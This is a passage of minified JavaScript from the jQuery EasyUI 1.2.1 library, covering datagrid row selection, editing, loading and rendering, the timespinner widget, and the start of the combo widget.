i=0;i<_c1.length;i++){ if(_c1[i][_be.idField]==id){ _c1.splice(i,1); break; } } } } _be.onUnselectAll.call(_bd,_c0.rows); }; function _58(_c3,_c4){ var _c5=$.data(_c3,"datagrid").panel; var _c6=$.data(_c3,"datagrid").options; var _c7=$.data(_c3,"datagrid").data; var _c8=$.data(_c3,"datagrid").selectedRows; if(_c4<0||_c4>=_c7.rows.length){ return; } var tr=$("div.datagrid-body tr[datagrid-row-index="+_c4+"]",_c5); var ck=$("div.datagrid-cell-check input[type=checkbox]",tr); tr.addClass("datagrid-row-selected"); ck.attr("checked",true); var _c9=_c5.find("div.datagrid-view2"); var _ca=_c9.find("div.datagrid-header").outerHeight(); var _cb=_c9.find("div.datagrid-body"); var top=tr.position().top-_ca; if(top<=0){ _cb.scrollTop(_cb.scrollTop()+top); }else{ if(top+tr.outerHeight()>_cb.height()-18){ _cb.scrollTop(_cb.scrollTop()+top+tr.outerHeight()-_cb.height()+18); } } if(_c6.idField){ var row=_c7.rows[_c4]; (function(){ for(var i=0;i<_c8.length;i++){ if(_c8[i][_c6.idField]==row[_c6.idField]){ return; } } _c8.push(row); })(); } _c6.onSelect.call(_c3,_c4,_c7.rows[_c4]); }; function _cc(_cd,_ce){ var _cf=$.data(_cd,"datagrid").options; var _d0=$.data(_cd,"datagrid").data; if(_cf.idField){ var _d1=-1; for(var i=0;i<_d0.rows.length;i++){ if(_d0.rows[i][_cf.idField]==_ce){ _d1=i; break; } } if(_d1>=0){ _58(_cd,_d1); } } }; function _59(_d2,_d3){ var _d4=$.data(_d2,"datagrid").options; var _d5=$.data(_d2,"datagrid").panel; var _d6=$.data(_d2,"datagrid").data; var _d7=$.data(_d2,"datagrid").selectedRows; if(_d3<0||_d3>=_d6.rows.length){ return; } var _d8=_d5.find("div.datagrid-body"); var tr=$("tr[datagrid-row-index="+_d3+"]",_d8); var ck=$("tr[datagrid-row-index="+_d3+"] div.datagrid-cell-check input[type=checkbox]",_d8); tr.removeClass("datagrid-row-selected"); ck.attr("checked",false); var row=_d6.rows[_d3]; if(_d4.idField){ for(var i=0;i<_d7.length;i++){ var _d9=_d7[i]; if(_d9[_d4.idField]==row[_d4.idField]){ for(var j=i+1;j<_d7.length;j++){ _d7[j-1]=_d7[j]; } _d7.pop(); break; } } } _d4.onUnselect.call(_d2,_d3,row); }; function _da(_db,_dc){ var _dd=$.data(_db,"datagrid").options; var _de=$.data(_db,"datagrid").panel; var _df=$.data(_db,"datagrid").data; var _e0=$.data(_db,"datagrid").editingRows; var tr=$("div.datagrid-body tr[datagrid-row-index="+_dc+"]",_de); if(tr.hasClass("datagrid-row-editing")){ return; } if(_dd.onBeforeEdit.call(_db,_dc,_df.rows[_dc])==false){ return; } tr.addClass("datagrid-row-editing"); _e1(_db,_dc); _88(_db); _e0.push(_df.rows[_dc]); _e2(_db,_dc,_df.rows[_dc]); _e3(_db,_dc); }; function _e4(_e5,_e6,_e7){ var _e8=$.data(_e5,"datagrid").options; var _e9=$.data(_e5,"datagrid").panel; var _ea=$.data(_e5,"datagrid").data; var _eb=$.data(_e5,"datagrid").updatedRows; var _ec=$.data(_e5,"datagrid").insertedRows; var _ed=$.data(_e5,"datagrid").editingRows; var row=_ea.rows[_e6]; var tr=$("div.datagrid-body tr[datagrid-row-index="+_e6+"]",_e9); if(!tr.hasClass("datagrid-row-editing")){ return; } if(!_e7){ if(!_e3(_e5,_e6)){ return; } var _ee=false; var _ef={}; var nd=_f0(_e5,_e6); for(var _f1 in nd){ if(row[_f1]!=nd[_f1]){ row[_f1]=nd[_f1]; _ee=true; _ef[_f1]=nd[_f1]; } } if(_ee){ if(_ec.indexOf(row)==-1){ if(_eb.indexOf(row)==-1){ _eb.push(row); } } } } tr.removeClass("datagrid-row-editing"); _ed.remove(row); _f2(_e5,_e6); $(_e5).datagrid("refreshRow",_e6); if(!_e7){ _e8.onAfterEdit.call(_e5,_e6,row,_ef); }else{ _e8.onCancelEdit.call(_e5,_e6,row); } }; function _e2(_f3,_f4,_f5){ var _f6=$.data(_f3,"datagrid").panel; var tr=$("div.datagrid-body tr[datagrid-row-index="+_f4+"]",_f6); if(!tr.hasClass("datagrid-row-editing")){ return; } tr.find("div.datagrid-editable").each(function(){ var _f7=$(this).parent().attr("field"); var ed=$.data(this,"datagrid.editor"); ed.actions.setValue(ed.target,_f5[_f7]); }); }; function _f0(_f8,_f9){ var _fa=$.data(_f8,"datagrid").panel; var tr=$("div.datagrid-body tr[datagrid-row-index="+_f9+"]",_fa); if(!tr.hasClass("datagrid-row-editing")){ return {}; } var _fb={}; tr.find("div.datagrid-editable").each(function(){ var _fc=$(this).parent().attr("field"); var ed=$.data(this,"datagrid.editor"); _fb[_fc]=ed.actions.getValue(ed.target); }); return _fb; }; function _fd(_fe,_ff){ var _100=[]; var _101=$.data(_fe,"datagrid").panel; var tr=$("div.datagrid-body tr[datagrid-row-index="+_ff+"]",_101); tr.children("td").each(function(){ var cell=$(this).find("div.datagrid-editable"); if(cell.length){ var ed=$.data(cell[0],"datagrid.editor"); _100.push(ed); } }); return _100; }; function _102(_103,_104){ var _105=_fd(_103,_104.index); for(var i=0;i<_105.length;i++){ if(_105[i].field==_104.field){ return _105[i]; } } return null; }; function _e1(_106,_107){ var opts=$.data(_106,"datagrid").options; var _108=$.data(_106,"datagrid").panel; var tr=$("div.datagrid-body tr[datagrid-row-index="+_107+"]",_108); tr.children("td").each(function(){ var cell=$(this).find("div.datagrid-cell"); var _109=$(this).attr("field"); var col=_6c(_106,_109); if(col&&col.editor){ var _10a,_10b; if(typeof col.editor=="string"){ _10a=col.editor; }else{ _10a=col.editor.type; _10b=col.editor.options; } var _10c=opts.editors[_10a]; if(_10c){ var _10d=cell.outerWidth(); cell.addClass("datagrid-editable"); if($.boxModel==true){ cell.width(_10d-(cell.outerWidth()-cell.width())); } cell.html("<table border=\"0\" cellspacing=\"0\" cellpadding=\"1\"><tr><td></td></tr></table>"); cell.find("table").attr("align",col.align); $.data(cell[0],"datagrid.editor",{actions:_10c,target:_10c.init(cell.find("td"),_10b),field:_109,type:_10a}); } } }); _18(_106,_107); }; function _f2(_10e,_10f){ var _110=$.data(_10e,"datagrid").panel; var tr=$("div.datagrid-body tr[datagrid-row-index="+_10f+"]",_110); tr.children("td").each(function(){ var cell=$(this).find("div.datagrid-editable"); if(cell.length){ var ed=$.data(cell[0],"datagrid.editor"); if(ed.actions.destroy){ ed.actions.destroy(ed.target); } $.removeData(cell[0],"datagrid.editor"); var _111=cell.outerWidth(); cell.removeClass("datagrid-editable"); if($.boxModel==true){ cell.width(_111-(cell.outerWidth()-cell.width())); } } }); }; function _e3(_112,_113){ var _114=$.data(_112,"datagrid").panel; var tr=$("div.datagrid-body tr[datagrid-row-index="+_113+"]",_114); if(!tr.hasClass("datagrid-row-editing")){ return true; } var vbox=tr.find(".validatebox-text"); vbox.validatebox("validate"); vbox.trigger("mouseleave"); var _115=tr.find(".validatebox-invalid"); return _115.length==0; }; function _116(_117,_118){ var _119=$.data(_117,"datagrid").insertedRows; var _11a=$.data(_117,"datagrid").deletedRows; var _11b=$.data(_117,"datagrid").updatedRows; if(!_118){ var rows=[]; rows=rows.concat(_119); rows=rows.concat(_11a); rows=rows.concat(_11b); return rows; }else{ if(_118=="inserted"){ return _119; }else{ if(_118=="deleted"){ return _11a; }else{ if(_118=="updated"){ return _11b; } } } } return []; }; function _11c(_11d,_11e){ var data=$.data(_11d,"datagrid").data; var _11f=$.data(_11d,"datagrid").insertedRows; var _120=$.data(_11d,"datagrid").deletedRows; var _121=$.data(_11d,"datagrid").editingRows; var _122=$.data(_11d,"datagrid").selectedRows; var row=data.rows[_11e]; data.total-=1; if(_11f.indexOf(row)>=0){ _11f.remove(row); _122.remove(row); }else{ _120.push(row); } if(_121.indexOf(row)>=0){ _121.remove(row); _f2(_11d,_11e); } var _123=[]; for(var i=0;i<_121.length;i++){ var idx=data.rows.indexOf(_121[i]); _123.push(_f0(_11d,idx)); _f2(_11d,idx); } data.rows.remove(row); _97(_11d,data); var _124=[]; for(var i=0;i<_121.length;i++){ var idx=data.rows.indexOf(_121[i]); _124.push(idx); } _121.splice(0,_121.length); for(var i=0;i<_124.length;i++){ _da(_11d,_124[i]); _e2(_11d,_124[i],_123[i]); } }; function _125(_126,row){ if(!row){ return; } var _127=$.data(_126,"datagrid").panel; var data=$.data(_126,"datagrid").data; var _128=$.data(_126,"datagrid").insertedRows; var _129=$.data(_126,"datagrid").editingRows; data.total+=1; data.rows.push(row); _128.push(row); var _12a=[]; for(var i=0;i<_129.length;i++){ var idx=data.rows.indexOf(_129[i]); _12a.push(_f0(_126,idx)); _f2(_126,idx); } _97(_126,data); var _12b=[]; for(var i=0;i<_129.length;i++){ var idx=data.rows.indexOf(_129[i]); _12b.push(idx); } _129.splice(0,_129.length); for(var i=0;i<_12b.length;i++){ _da(_126,_12b[i]); _e2(_126,_12b[i],_12a[i]); } var _12c=$("div.datagrid-view2 div.datagrid-body",_127); var _12d=_12c.children("table"); var top=_12d.outerHeight()-_12c.outerHeight(); _12c.scrollTop(top+20); }; function _12e(_12f){ var data=$.data(_12f,"datagrid").data; var rows=data.rows; var _130=[]; for(var i=0;i<rows.length;i++){ _130.push($.extend({},rows[i])); } $.data(_12f,"datagrid").originalRows=_130; $.data(_12f,"datagrid").updatedRows=[]; $.data(_12f,"datagrid").insertedRows=[]; $.data(_12f,"datagrid").deletedRows=[]; $.data(_12f,"datagrid").editingRows=[]; }; function _131(_132){ var data=$.data(_132,"datagrid").data; var ok=true; for(var i=0,len=data.rows.length;i<len;i++){ if(_e3(_132,i)){ _e4(_132,i,false); }else{ ok=false; } } if(ok){ _12e(_132); } }; function _133(_134){ var opts=$.data(_134,"datagrid").options; var _135=$.data(_134,"datagrid").originalRows; var _136=$.data(_134,"datagrid").insertedRows; var _137=$.data(_134,"datagrid").deletedRows; var _138=$.data(_134,"datagrid").updatedRows; var _139=$.data(_134,"datagrid").selectedRows; var data=$.data(_134,"datagrid").data; for(var i=0;i<data.rows.length;i++){ _e4(_134,i,true); } var rows=[]; var _13a={}; if(opts.idField){ for(var i=0;i<_139.length;i++){ _13a[_139[i][opts.idField]]=true; } } _139.splice(0,_139.length); for(var i=0;i<_135.length;i++){ var row=$.extend({},_135[i]); rows.push(row); if(_13a[row[opts.idField]]){ _139.push(row); } } data.total+=_137.length-_136.length; data.rows=rows; _97(_134,data); $.data(_134,"datagrid").updatedRows=[]; $.data(_134,"datagrid").insertedRows=[]; $.data(_134,"datagrid").deletedRows=[]; $.data(_134,"datagrid").editingRows=[]; }; function _13b(_13c,_13d){ var _13e=$.data(_13c,"datagrid").panel; var opts=$.data(_13c,"datagrid").options; if(_13d){ opts.queryParams=_13d; } if(!opts.url){ return; } var _13f=$.extend({},opts.queryParams); if(opts.pagination){ $.extend(_13f,{page:opts.pageNumber,rows:opts.pageSize}); } if(opts.sortName){ $.extend(_13f,{sort:opts.sortName,order:opts.sortOrder}); } if(opts.onBeforeLoad.call(_13c,_13f)==false){ return; } _140(); setTimeout(function(){ _141(); },0); function _141(){ $.ajax({type:opts.method,url:opts.url,data:_13f,dataType:"json",success:function(data){ setTimeout(function(){ _142(); },0); _97(_13c,data); setTimeout(function(){ _12e(_13c); },0); },error:function(){ setTimeout(function(){ _142(); },0); if(opts.onLoadError){ opts.onLoadError.apply(_13c,arguments); } }}); }; function _140(){ _13e.children("div.datagrid-pager").pagination("loading"); if(opts.loadMsg){ var wrap=_13e; $("<div class=\"datagrid-mask\"></div>").css({display:"block",width:wrap.width(),height:wrap.height()}).appendTo(wrap); $("<div class=\"datagrid-mask-msg\"></div>").html(opts.loadMsg).appendTo(wrap).css({display:"block",left:(wrap.width()-$("div.datagrid-mask-msg",wrap).outerWidth())/2,top:(wrap.height()-$("div.datagrid-mask-msg",wrap).outerHeight())/2}); } }; function _142(){ _13e.find("div.datagrid-pager").pagination("loaded"); _13e.find("div.datagrid-mask-msg").remove(); _13e.find("div.datagrid-mask").remove(); }; }; function _143(_144,_145){ var rows=$.data(_144,"datagrid").data.rows; var _146=$.data(_144,"datagrid").panel; _145.rowspan=_145.rowspan||1; _145.colspan=_145.colspan||1; if(_145.index<0||_145.index>=rows.length){ return; } if(_145.rowspan==1&&_145.colspan==1){ return; } var _147=rows[_145.index][_145.field]; var tr=_146.find("div.datagrid-body tr[datagrid-row-index="+_145.index+"]"); var td=tr.find("td[field="+_145.field+"]"); td.attr("rowspan",_145.rowspan).attr("colspan",_145.colspan); td.addClass("datagrid-td-merged"); for(var i=1;i<_145.colspan;i++){ td=td.next(); td.hide(); rows[_145.index][td.attr("field")]=_147; } for(var i=1;i<_145.rowspan;i++){ tr=tr.next(); var td=tr.find("td[field="+_145.field+"]").hide(); rows[_145.index+i][td.attr("field")]=_147; for(var j=1;j<_145.colspan;j++){ td=td.next(); td.hide(); rows[_145.index+i][td.attr("field")]=_147; } } setTimeout(function(){ _7f(_144); },0); }; $.fn.datagrid=function(_148,_149){ if(typeof _148=="string"){ return $.fn.datagrid.methods[_148](this,_149); } _148=_148||{}; return this.each(function(){ var _14a=$.data(this,"datagrid"); var opts; if(_14a){ opts=$.extend(_14a.options,_148); _14a.options=opts; }else{ opts=$.extend({},$.fn.datagrid.defaults,$.fn.datagrid.parseOptions(this),_148); $(this).css("width",null).css("height",null); var _14b=_27(this,opts.rownumbers); if(!opts.columns){ opts.columns=_14b.columns; } if(!opts.frozenColumns){ opts.frozenColumns=_14b.frozenColumns; } $.data(this,"datagrid",{options:opts,panel:_14b.panel,selectedRows:[],data:{total:0,rows:[]},originalRows:[],updatedRows:[],insertedRows:[],deletedRows:[],editingRows:[]}); _97(this,_33(this)); _12e(this); } _38(this); if(!_14a){ _30(this); } _3(this); if(opts.url){ _13b(this); } _5a(this); }); }; var _14c={text:{init:function(_14d,_14e){ var _14f=$("<input type=\"text\" class=\"datagrid-editable-input\">").appendTo(_14d); return _14f; },getValue:function(_150){ return $(_150).val(); },setValue:function(_151,_152){ $(_151).val(_152); },resize:function(_153,_154){ var _155=$(_153); if($.boxModel==true){ _155.width(_154-(_155.outerWidth()-_155.width())); }else{ _155.width(_154); } }},textarea:{init:function(_156,_157){ var _158=$("<textarea class=\"datagrid-editable-input\"></textarea>").appendTo(_156); return _158; },getValue:function(_159){ return $(_159).val(); },setValue:function(_15a,_15b){ $(_15a).val(_15b); },resize:function(_15c,_15d){ var _15e=$(_15c); if($.boxModel==true){ _15e.width(_15d-(_15e.outerWidth()-_15e.width())); }else{ _15e.width(_15d); } }},checkbox:{init:function(_15f,_160){ var _161=$("<input type=\"checkbox\">").appendTo(_15f); _161.val(_160.on); _161.attr("offval",_160.off); return _161; },getValue:function(_162){ if($(_162).attr("checked")){ return $(_162).val(); }else{ return $(_162).attr("offval"); } },setValue:function(_163,_164){ if($(_163).val()==_164){ $(_163).attr("checked",true); }else{ $(_163).attr("checked",false); } }},numberbox:{init:function(_165,_166){ var _167=$("<input type=\"text\" class=\"datagrid-editable-input\">").appendTo(_165); _167.numberbox(_166); return _167; },getValue:function(_168){ return $(_168).val(); },setValue:function(_169,_16a){ $(_169).val(_16a); },resize:function(_16b,_16c){ var _16d=$(_16b); if($.boxModel==true){ _16d.width(_16c-(_16d.outerWidth()-_16d.width())); }else{ _16d.width(_16c); } }},validatebox:{init:function(_16e,_16f){ var _170=$("<input type=\"text\" class=\"datagrid-editable-input\">").appendTo(_16e); _170.validatebox(_16f); return _170; },destroy:function(_171){ $(_171).validatebox("destroy"); },getValue:function(_172){ return $(_172).val(); },setValue:function(_173,_174){ $(_173).val(_174); },resize:function(_175,_176){ var _177=$(_175); if($.boxModel==true){ _177.width(_176-(_177.outerWidth()-_177.width())); }else{ _177.width(_176); } }},datebox:{init:function(_178,_179){ var _17a=$("<input type=\"text\" class=\"datagrid-editable-input\">").appendTo(_178); _17a.datebox(_179); return _17a; },destroy:function(_17b){ $(_17b).datebox("destroy"); },getValue:function(_17c){ return $(_17c).val(); },setValue:function(_17d,_17e){ $(_17d).val(_17e); },resize:function(_17f,_180){ var _181=$(_17f); if($.boxModel==true){ _181.width(_180-(_181.outerWidth()-_181.width())); }else{ _181.width(_180); } }},combobox:{init:function(_182,_183){ var _184=$("<input type=\"text\">").appendTo(_182); _184.combobox(_183||{}); return _184; },destroy:function(_185){ $(_185).combobox("destroy"); },getValue:function(_186){ return $(_186).combobox("getValue"); },setValue:function(_187,_188){ $(_187).combobox("setValue",_188); },resize:function(_189,_18a){ $(_189).combobox("resize",_18a); }},combotree:{init:function(_18b,_18c){ var _18d=$("<input type=\"text\">").appendTo(_18b); _18d.combotree(_18c); return _18d; },destroy:function(_18e){ $(_18e).combotree("destroy"); },getValue:function(_18f){ return $(_18f).combotree("getValue"); },setValue:function(_190,_191){ $(_190).combotree("setValue",_191); },resize:function(_192,_193){ $(_192).combotree("resize",_193); }}}; $.fn.datagrid.methods={options:function(jq){ var _194=$.data(jq[0],"datagrid").options; var _195=$.data(jq[0],"datagrid").panel.panel("options"); var opts=$.extend(_194,{width:_195.width,height:_195.height,closed:_195.closed,collapsed:_195.collapsed,minimized:_195.minimized,maximized:_195.maximized}); var _196=jq.datagrid("getPager"); if(_196.length){ var _197=_196.pagination("options"); $.extend(opts,{pageNumber:_197.pageNumber,pageSize:_197.pageSize}); } return opts; },getPanel:function(jq){ return $.data(jq[0],"datagrid").panel; },getPager:function(jq){ return $.data(jq[0],"datagrid").panel.find("div.datagrid-pager"); },getColumnFields:function(jq,_198){ return _37(jq[0],_198); },getColumnOption:function(jq,_199){ return _6c(jq[0],_199); },resize:function(jq,_19a){ return jq.each(function(){ _3(this,_19a); }); },reload:function(jq,_19b){ return jq.each(function(){ _13b(this,_19b); }); },fitColumns:function(jq){ return jq.each(function(){ _6e(this); }); },fixColumnSize:function(jq){ return jq.each(function(){ _30(this); }); },fixRowHeight:function(jq,_19c){ return jq.each(function(){ _18(this,_19c); }); },loadData:function(jq,data){ return jq.each(function(){ _97(this,data); _12e(this); }); },getData:function(jq){ return $.data(jq[0],"datagrid").data; },getRows:function(jq){ return $.data(jq[0],"datagrid").data.rows; },getRowIndex:function(jq,id){ return _a4(jq[0],id); },getSelected:function(jq){ var rows=_a8(jq[0]); return rows.length>0?rows[0]:null; },getSelections:function(jq){ return _a8(jq[0]); },clearSelections:function(jq){ return jq.each(function(){ _57(this); }); },selectAll:function(jq){ return jq.each(function(){ _b4(this); }); },unselectAll:function(jq){ return jq.each(function(){ _b2(this); }); },selectRow:function(jq,_19d){ return jq.each(function(){ _58(this,_19d); }); },selectRecord:function(jq,id){ return jq.each(function(){ _cc(this,id); }); },unselectRow:function(jq,_19e){ return jq.each(function(){ _59(this,_19e); }); },beginEdit:function(jq,_19f){ return jq.each(function(){ _da(this,_19f); }); },endEdit:function(jq,_1a0){ return jq.each(function(){ _e4(this,_1a0,false); }); },cancelEdit:function(jq,_1a1){ return jq.each(function(){ _e4(this,_1a1,true); }); },getEditors:function(jq,_1a2){ return _fd(jq[0],_1a2); },getEditor:function(jq,_1a3){ return _102(jq[0],_1a3); },refreshRow:function(jq,_1a4){ return jq.each(function(){ var opts=$.data(this,"datagrid").options; opts.view.refreshRow.call(opts.view,this,_1a4); }); },validateRow:function(jq,_1a5){ return jq.each(function(){ _e3(this,_1a5); }); },appendRow:function(jq,row){ return jq.each(function(){ _125(this,row); }); },deleteRow:function(jq,_1a6){ return jq.each(function(){ _11c(this,_1a6); }); },getChanges:function(jq,_1a7){ return _116(jq[0],_1a7); },acceptChanges:function(jq){ return jq.each(function(){ _131(this); }); },rejectChanges:function(jq){ return jq.each(function(){ _133(this); }); },mergeCells:function(jq,_1a8){ return jq.each(function(){ _143(this,_1a8); }); },showColumn:function(jq,_1a9){ return jq.each(function(){ var _1aa=$(this).datagrid("getPanel"); _1aa.find("td[field="+_1a9+"]").show(); $(this).datagrid("getColumnOption",_1a9).hidden=false; $(this).datagrid("fitColumns"); }); },hideColumn:function(jq,_1ab){ return jq.each(function(){ var _1ac=$(this).datagrid("getPanel"); _1ac.find("td[field="+_1ab+"]").hide(); $(this).datagrid("getColumnOption",_1ab).hidden=true; $(this).datagrid("fitColumns"); }); }}; $.fn.datagrid.parseOptions=function(_1ad){ var t=$(_1ad); return $.extend({},$.fn.panel.parseOptions(_1ad),{fitColumns:(t.attr("fitColumns")?t.attr("fitColumns")=="true":undefined),striped:(t.attr("striped")?t.attr("striped")=="true":undefined),nowrap:(t.attr("nowrap")?t.attr("nowrap")=="true":undefined),rownumbers:(t.attr("rownumbers")?t.attr("rownumbers")=="true":undefined),singleSelect:(t.attr("singleSelect")?t.attr("singleSelect")=="true":undefined),pagination:(t.attr("pagination")?t.attr("pagination")=="true":undefined),remoteSort:(t.attr("remoteSort")?t.attr("remoteSort")=="true":undefined),idField:t.attr("idField"),url:t.attr("url")}); }; var _1ae={render:function(_1af,_1b0,_1b1){ var opts=$.data(_1af,"datagrid").options; var rows=$.data(_1af,"datagrid").data.rows; var _1b2=$(_1af).datagrid("getColumnFields",_1b1); if(_1b1){ if(!(opts.rownumbers||(opts.frozenColumns&&opts.frozenColumns.length))){ return; } } var _1b3=["<table cellspacing=\"0\" cellpadding=\"0\" border=\"0\"><tbody>"]; for(var i=0;i<rows.length;i++){ if(i%2&&opts.striped){ _1b3.push("<tr datagrid-row-index=\""+i+"\" class=\"datagrid-row-alt\">"); }else{ _1b3.push("<tr datagrid-row-index=\""+i+"\">"); } _1b3.push(this.renderRow.call(this,_1af,_1b2,_1b1,i,rows[i])); _1b3.push("</tr>"); } _1b3.push("</tbody></table>"); $(_1b0).html(_1b3.join("")); },renderRow:function(_1b4,_1b5,_1b6,_1b7,_1b8){ var opts=$.data(_1b4,"datagrid").options; var cc=[]; if(_1b6&&opts.rownumbers){ var _1b9=_1b7+1; if(opts.pagination){ _1b9+=(opts.pageNumber-1)*opts.pageSize; } cc.push("<td class=\"datagrid-td-rownumber\"><div class=\"datagrid-cell-rownumber\">"+_1b9+"</div></td>"); } for(var i=0;i<_1b5.length;i++){ var _1ba=_1b5[i]; var col=$(_1b4).datagrid("getColumnOption",_1ba); if(col){ var _1bb="width:"+(col.boxWidth)+"px;"; _1bb+="text-align:"+(col.align||"left")+";"; _1bb+=opts.nowrap==false?"white-space:normal;":""; if(col.hidden){ cc.push("<td field=\""+_1ba+"\" style=\"display:none;\">"); }else{ cc.push("<td field=\""+_1ba+"\">"); } cc.push("<div style=\""+_1bb+"\" "); if(col.checkbox){ cc.push("class=\"datagrid-cell-check "); }else{ cc.push("class=\"datagrid-cell "); } cc.push("\">"); if(col.checkbox){ cc.push("<input type=\"checkbox\"/>"); }else{ if(col.formatter){ cc.push(col.formatter(_1b8[_1ba],_1b8,_1b7)); }else{ cc.push(_1b8[_1ba]); } } cc.push("</div>"); cc.push("</td>"); } } return cc.join(""); },refreshRow:function(_1bc,_1bd){ var _1be=$(_1bc).datagrid("getPanel"); var rows=$(_1bc).datagrid("getRows"); _1be.find("div.datagrid-body tr[datagrid-row-index="+_1bd+"] td").each(function(){ var cell=$(this).find("div.datagrid-cell"); var _1bf=$(this).attr("field"); var col=$(_1bc).datagrid("getColumnOption",_1bf); if(col){ if(col.formatter){ cell.html(col.formatter(rows[_1bd][_1bf],rows[_1bd],_1bd)); }else{ cell.html(rows[_1bd][_1bf]); } } }); $(_1bc).datagrid("fixRowHeight",_1bd); },onBeforeRender:function(_1c0,rows){ },onAfterRender:function(_1c1){ }}; $.fn.datagrid.defaults=$.extend({},$.fn.panel.defaults,{frozenColumns:null,columns:null,fitColumns:false,toolbar:null,striped:false,method:"post",nowrap:true,idField:null,url:null,loadMsg:"Processing, please wait ...",rownumbers:false,singleSelect:false,pagination:false,pageNumber:1,pageSize:10,pageList:[10,20,30,40,50],queryParams:{},sortName:null,sortOrder:"asc",remoteSort:true,editors:_14c,view:_1ae,onBeforeLoad:function(_1c2){ },onLoadSuccess:function(){ },onLoadError:function(){ },onClickRow:function(_1c3,_1c4){ },onDblClickRow:function(_1c5,_1c6){ },onSortColumn:function(sort,_1c7){ },onResizeColumn:function(_1c8,_1c9){ },onSelect:function(_1ca,_1cb){ },onUnselect:function(_1cc,_1cd){ },onSelectAll:function(rows){ },onUnselectAll:function(rows){ },onBeforeEdit:function(_1ce,_1cf){ },onAfterEdit:function(_1d0,_1d1,_1d2){ },onCancelEdit:function(_1d3,_1d4){ },onHeaderContextMenu:function(e,_1d5){ },onRowContextMenu:function(e,_1d6,_1d7){ }}); })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2){ var _3=$.data(_2,"timespinner").options; $(_2).spinner(_3); $(_2).unbind(".timespinner"); $(_2).bind("click.timespinner",function(){ var _4=0; if(this.selectionStart!=null){ _4=this.selectionStart; }else{ if(this.createTextRange){ var _5=_2.createTextRange(); var s=document.selection.createRange(); s.setEndPoint("StartToStart",_5); _4=s.text.length; } } if(_4>=0&&_4<=2){ _3.highlight=0; }else{ if(_4>=3&&_4<=5){ _3.highlight=1; }else{ if(_4>=6&&_4<=8){ _3.highlight=2; } } } _7(_2); }).bind("blur.timespinner",function(){ _6(_2); }); }; function _7(_8){ var _9=$.data(_8,"timespinner").options; var _a=0,_b=0; if(_9.highlight==0){ _a=0; _b=2; }else{ if(_9.highlight==1){ _a=3; _b=5; }else{ if(_9.highlight==2){ _a=6; _b=8; } } } if(_8.selectionStart!=null){ _8.setSelectionRange(_a,_b); }else{ if(_8.createTextRange){ var _c=_8.createTextRange(); _c.collapse(); _c.moveEnd("character",_b); _c.moveStart("character",_a); _c.select(); } } $(_8).focus(); }; function _d(_e,_f){ var _10=$.data(_e,"timespinner").options; if(!_f){ return null; } var vv=_f.split(_10.separator); for(var i=0;i<vv.length;i++){ if(isNaN(vv[i])){ return null; } } while(vv.length<3){ vv.push(0); } return new Date(1900,0,0,vv[0],vv[1],vv[2]); }; function _6(_11){ var _12=$.data(_11,"timespinner").options; var _13=$(_11).val(); var _14=_d(_11,_13); if(!_14){ _14=_d(_11,_12.value); } if(!_14){ _12.value=""; $(_11).val(""); return; } var _15=_d(_11,_12.min); var _16=_d(_11,_12.max); if(_15&&_15>_14){ _14=_15; } if(_16&&_16<_14){ _14=_16; } var tt=[_17(_14.getHours()),_17(_14.getMinutes())]; if(_12.showSeconds){ tt.push(_17(_14.getSeconds())); } var val=tt.join(_12.separator); _12.value=val; $(_11).val(val); function _17(_18){ return (_18<10?"0":"")+_18; }; }; function _19(_1a,_1b){ var _1c=$.data(_1a,"timespinner").options; var val=$(_1a).val(); if(val==""){ val=[0,0,0].join(_1c.separator); } var vv=val.split(_1c.separator); for(var i=0;i<vv.length;i++){ vv[i]=parseInt(vv[i],10); } if(_1b==true){ vv[_1c.highlight]-=_1c.increment; }else{ vv[_1c.highlight]+=_1c.increment; } $(_1a).val(vv.join(_1c.separator)); _6(_1a); _7(_1a); }; $.fn.timespinner=function(_1d,_1e){ if(typeof _1d=="string"){ var _1f=$.fn.timespinner.methods[_1d]; if(_1f){ return _1f(this,_1e); }else{ return this.spinner(_1d,_1e); } } _1d=_1d||{}; return this.each(function(){ var _20=$.data(this,"timespinner"); if(_20){ $.extend(_20.options,_1d); }else{ $.data(this,"timespinner",{options:$.extend({},$.fn.timespinner.defaults,$.fn.timespinner.parseOptions(this),_1d)}); _1(this); } }); }; $.fn.timespinner.methods={options:function(jq){ var _21=$.data(jq[0],"timespinner").options; return $.extend(_21,{value:jq.val()}); },setValue:function(jq,_22){ return jq.each(function(){ $(this).val(_22); _6(this); }); }}; $.fn.timespinner.parseOptions=function(_23){ var t=$(_23); return $.extend({},$.fn.spinner.parseOptions(_23),{separator:t.attr("separator"),showSeconds:(t.attr("showSeconds")?t.attr("showSeconds")=="true":undefined),highlight:(parseInt(t.attr("highlight"))||undefined)}); }; $.fn.timespinner.defaults=$.extend({},$.fn.spinner.defaults,{separator:":",showSeconds:false,highlight:0,spin:function(_24){ _19(this,_24); }}); })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2,_3){ var _4=$.data(_2,"combo").options; var _5=$.data(_2,"combo").combo; var _6=$.data(_2,"combo").panel; if(_3){ _4.width=_3; } _5.appendTo("body"); if(isNaN(_4.width)){ _4.width=_5.find("input.combo-text").outerWidth(); } var _7=_5.find(".combo-arrow").outerWidth(); var _3=_4.width-_7; if($.boxModel==true){ _3-=_5.outerWidth()-_5.width(); } _5.find("input.combo-text").width(_3); _6.panel("resize",{width:(_4.panelWidth?_4.panelWidth:_5.outerWidth()),height:_4.panelHeight}); _5.insertAfter(_2); }; function _8(_9){ $(_9).addClass("combo-f").hide(); var _a=$("<span class=\"combo\"></span>").insertAfter(_9); var _b=$("<input type=\"text\" class=\"combo-text\">").appendTo(_a); $("<span><span class=\"combo-arrow\"></span></span>").appendTo(_a); $("<input type=\"hidden\" class=\"combo-value\">").appendTo(_a); var _c=$("<div class=\"combo-panel\"></div>").appendTo("body"); _c.panel({doSize:false,closed:true,style:{position:"absolute",zIndex:10},onOpen:function(){ $(this).panel("resize"); }}); var _d=$(_9).attr("name"); if(_d){ _a.find("input.combo-value").attr("name",_d); $(_9).removeAttr("name").attr("comboName",_d); } _b.attr("autocomplete","off"); return {combo:_a,panel:_c}; }; function _e(_f){ var _10=$.data(_f,"combo").combo.find("input.combo-text"); _10.validatebox("destroy"); $.data(_f,"combo").panel.panel("destroy"); $.data(_f,"combo").combo.remove(); $(_f).remove(); }; function _11(_12){ var 